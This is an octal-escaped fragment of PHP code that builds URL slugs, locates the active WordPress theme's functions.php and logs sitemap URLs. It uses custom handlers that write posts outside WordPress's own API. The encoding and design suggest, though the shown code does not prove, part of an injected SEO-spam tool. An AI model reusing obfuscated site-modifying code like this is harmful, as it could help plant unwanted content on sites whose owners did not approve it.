040\040\040\040'transliterate'\040=>\040true,\012\012\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040$char_map\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Latin\012\012\040\040\040\040\040\040\040\040\040\040\040\040'À'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Á'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Â'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ã'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ä'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Å'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ă'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Æ'\040=>\040'AE',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ç'\040=>\040'C',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'È'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'É'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ê'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ë'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ì'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Í'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Î'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ï'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ð'\040=>\040'D',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ñ'\040=>\040'N',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ò'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ó'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ô'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Õ'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ö'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ő'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ø'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ș'\040=>\040'S',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ù'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ú'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Û'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ü'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ű'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ý'\040=>\040'Y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Þ'\040=>\040'TH',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ß'\040=>\040'ss',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'à'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'á'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'â'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ã'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ä'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'å'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ă'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'æ'\040=>\040'ae',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ç'\040=>\040'c',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'è'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'é'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ê'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ë'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ì'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'í'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'î'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ï'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ð'\040=>\040'd',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ñ'\040=>\040'n',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ò'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ó'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ô'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'õ'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ö'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ő'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ø'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ș'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ù'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ú'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'û'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ü'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ű'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ý'\040=>\040'y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'þ'\040=>\040'th',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ÿ'\040=>\040'y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Latin\040symbols\012\012\040\040\040\040\040\040\040\040\040\040\040\040'©'\040=>\040'(c)',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Greek\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Α'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Β'\040=>\040'B',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Γ'\040=>\040'G',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Δ'\040=>\040'D',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ε'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ζ'\040=>\040'Z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Η'\040=>\040'H',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Θ'\040=>\040'8',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ι'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Κ'\040=>\040'K',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Λ'\040=>\040'L',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Μ'\040=>\040'M',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ν'\040=>\040'N',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ξ'\040=>\040'3',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ο'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Π'\040=>\040'P',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ρ'\040=>\040'R',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Σ'\040=>\040'S',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Τ'\040=>\040'T',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Υ'\040=>\040'Y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Φ'\040=>\040'F',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Χ'\040=>\040'X',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ψ'\040=>\040'PS',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ω'\040=>\040'W',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ά'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Έ'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ί'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ό'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ύ'\040=>\040'Y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ή'\040=>\040'H',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ώ'\040=>\040'W',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ϊ'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ϋ'\040=>\040'Y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'α'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'β'\040=>\040'b',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'γ'\040=>\040'g',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'δ'\040=>\040'd',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ε'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ζ'\040=>\040'z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'η'\040=>\040'h',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'θ'\040=>\040'8',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ι'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'κ'\040=>\040'k',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'λ'\040=>\040'l',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'μ'\040=>\040'm',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ν'\040=>\040'n',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ξ'\040=>\040'3',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ο'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'π'\040=>\040'p',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ρ'\040=>\040'r',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'σ'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'τ'\040=>\040't',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'υ'\040=>\040'y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'φ'\040=>\040'f',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'χ'\040=>\040'x',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ψ'\040=>\040'ps',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ω'\040=>\040'w',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ά'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'έ'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ί'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ό'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ύ'\040=>\040'y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ή'\040=>\040'h',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ώ'\040=>\040'w',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ς'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ϊ'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ΰ'\040=>\040'y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ϋ'\040=>\040'y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ΐ'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Turkish\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ş'\040=>\040'S',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'İ'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ç'\040=>\040'C',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ü'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ö'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ğ'\040=>\040'G',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ş'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ı'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ç'\040=>\040'c',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ü'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ö'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ğ'\040=>\040'g',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Russian\012\012\040\040\040\040\040\040\040\040\040\040\040\040'А'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Б'\040=>\040'B',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'В'\040=>\040'V',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Г'\040=>\040'G',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Д'\040=>\040'D',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Е'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ё'\040=>\040'Yo',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ж'\040=>\040'Zh',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'З'\040=>\040'Z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'И'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Й'\040=>\040'J',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'К'\040=>\040'K',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Л'\040=>\040'L',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'М'\040=>\040'M',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Н'\040=>\040'N',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'О'\040=>\040'O',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'П'\040=>\040'P',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Р'\040=>\040'R',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'С'\040=>\040'S',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Т'\040=>\040'T',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'У'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ф'\040=>\040'F',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Х'\040=>\040'H',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ц'\040=>\040'C',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ч'\040=>\040'Ch',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ш'\040=>\040'Sh',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Щ'\040=>\040'Sh',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ъ'\040=>\040'',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ы'\040=>\040'Y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ь'\040=>\040'',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Э'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ю'\040=>\040'Yu',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Я'\040=>\040'Ya',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'а'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'б'\040=>\040'b',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'в'\040=>\040'v',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'г'\040=>\040'g',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'д'\040=>\040'd',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'е'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ё'\040=>\040'yo',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ж'\040=>\040'zh',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'з'\040=>\040'z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'и'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'й'\040=>\040'j',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'к'\040=>\040'k',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'л'\040=>\040'l',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'м'\040=>\040'm',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'н'\040=>\040'n',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'о'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'п'\040=>\040'p',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'р'\040=>\040'r',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'с'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'т'\040=>\040't',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'у'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ф'\040=>\040'f',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'х'\040=>\040'h',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ц'\040=>\040'c',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ч'\040=>\040'ch',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ш'\040=>\040'sh',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'щ'\040=>\040'sh',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ъ'\040=>\040'',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ы'\040=>\040'y',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ь'\040=>\040'',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'э'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ю'\040=>\040'yu',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'я'\040=>\040'ya',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Ukrainian\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Є'\040=>\040'Ye',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'І'\040=>\040'I',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ї'\040=>\040'Yi',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ґ'\040=>\040'G',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'є'\040=>\040'ye',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'і'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ї'\040=>\040'yi',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ґ'\040=>\040'g',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Czech\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Č'\040=>\040'C',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ď'\040=>\040'D',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ě'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ň'\040=>\040'N',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ř'\040=>\040'R',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Š'\040=>\040'S',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ť'\040=>\040'T',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ů'\040=>\040'U',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ž'\040=>\040'Z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'č'\040=>\040'c',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ď'\040=>\040'd',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ě'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ň'\040=>\040'n',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ř'\040=>\040'r',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'š'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ť'\040=>\040't',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ů'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ž'\040=>\040'z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Polish\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ą'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ć'\040=>\040'C',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ę'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ł'\040=>\040'L',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ń'\040=>\040'N',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ó'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ś'\040=>\040'S',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ź'\040=>\040'Z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ż'\040=>\040'Z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ą'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ć'\040=>\040'c',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ę'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ł'\040=>\040'l',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ń'\040=>\040'n',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ó'\040=>\040'o',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ś'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ź'\040=>\040'z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ż'\040=>\040'z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040Latvian\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ā'\040=>\040'A',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Č'\040=>\040'C',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ē'\040=>\040'E',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ģ'\040=>\040'G',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ī'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ķ'\040=>\040'k',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ļ'\040=>\040'L',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ņ'\040=>\040'N',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Š'\040=>\040'S',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ū'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'Ž'\040=>\040'Z',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ā'\040=>\040'a',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'č'\040=>\040'c',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ē'\040=>\040'e',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ģ'\040=>\040'g',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ī'\040=>\040'i',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ķ'\040=>\040'k',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ļ'\040=>\040'l',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ņ'\040=>\040'n',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'š'\040=>\040's',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ū'\040=>\040'u',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'ž'\040=>\040'z'\012\012\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040//\040Transliterate\040characters\040to\040ASCII\012\012\040\040\040\040\040\040\040\040if\040($options['transliterate'])\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$str\040=\040str_replace(array_keys($char_map),\040$char_map,\040$str);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040//\040Replace\040non-alphanumeric\040characters\040with\040our\040delimiter\012\012\040\040\040\040\040\040\040\040$str\040=\040preg_replace('/[^\134p{L}\134p{Nd}]+/u',\040$options['delimiter'],\040$str);\012\012\012\040\040\040\040\040\040\040\040//\040Remove\040duplicate\040delimiters\012\012\040\040\040\040\040\040\040\040$str\040=\040preg_replace('/('\040.\040preg_quote($options['delimiter'],\040'/')\040.\040'){2,}/',\040'$1',\040$str);\012\012\012\040\040\040\040\040\040\040\040//\040Truncate\040slug\040to\040max.\040characters\012\012\040\040\040\040\040\040\040\040//$str\040=\040mb_substr($str,\0400,\040($options['limit']\040?\040$options['limit']\040:\040mb_strlen($str,\040'UTF-8')),\040'UTF-8');\012\012\012\040\040\040\040\040\040\040\040$str\040=\040WritePostsWpHandler::mbSubstrCustom($str,\0400,\012\012\040\040\040\040\040\040\040\040\040\040\040\040($options['limit']\040?\040$options['limit']\040:\040WritePostsWpHandler::mbStrlenCustom($str,\040'UTF-8')));\012\012\012\040\040\040\040\040\040\040\040//\040Remove\040delimiter\040from\040ends\012\012\040\040\040\040\040\040\040\040$str\040=\040trim($str,\040$options['delimiter']);\012\012\012\040\040\040\040\040\040\040\040//return\040$options['lowercase']\040?\040mb_strtolower($str,\040'UTF-8')\040:\040$str;\012\012\040\040\040\040\040\040\040\040return\040$options['lowercase']\040?\040WritePostsWpHandler::mbStrToLowerCustom($str,\040'UTF-8')\040:\040$str;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040mbSubstrCustom($string,\040$offset,\040$length)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(!function_exists('mb_substr'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$arr\040=\040preg_split("//u",\040$string);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$slice\040=\040array_slice($arr,\040$offset\040+\0401,\040$length);\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040implode("",\040$slice);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040mb_substr($string,\040$offset,\040$length);\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040mbStrlenCustom($string,\040$encoding)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(function_exists('mb_strlen'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040mb_strlen($string,\040$encoding);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040preg_match_all('/./us',\040$string,\040$matches);\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040mbStrToLowerCustom($string,\040$encoding\040=\040null)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(function_exists('mb_strtolower'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040mb_strtolower($string,\040$encoding);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(function_exists('iconv'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040iconv('UTF-8',\040'UTF-8//IGNORE',\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040strtolower(iconv('UTF-8',\040'ISO-8859-1//TRANSLIT',\040$string)));\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040preg_replace_callback('/\134p{Lu}/u',\040function\040($match)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040strtolower($match[0]);\012\012\040\040\040\040\040\040\040\040},\040$string);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040getTemplatePath()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$templateName\040=\040CustomDbHandler::getInstance()->getOption('template');\012\012\040\040\040\040\040\040\040\040\040\040\040\040$templateName\040=\040$templateName['option_value'];\012\012\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists(WP_ROOT_DIR\040.\040'/wp-content/themes/'\040.\040$templateName\040.\040'/functions.php'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040WP_ROOT_DIR\040.\040'/wp-content/themes/'\040.\040$templateName;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040//echo\040'functions.php\040not\040found\040in\040theme\040directory'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040getSitemapUrls()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(HOME_URL\040.\040'/'\040.\040SITEMAP_NAME\040.\040'.xml');\012\012\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(HOME_URL\040.\040'/?feed=xml'\040.\040SITEMAP_NAME);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040debugDataCustom()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$settings\0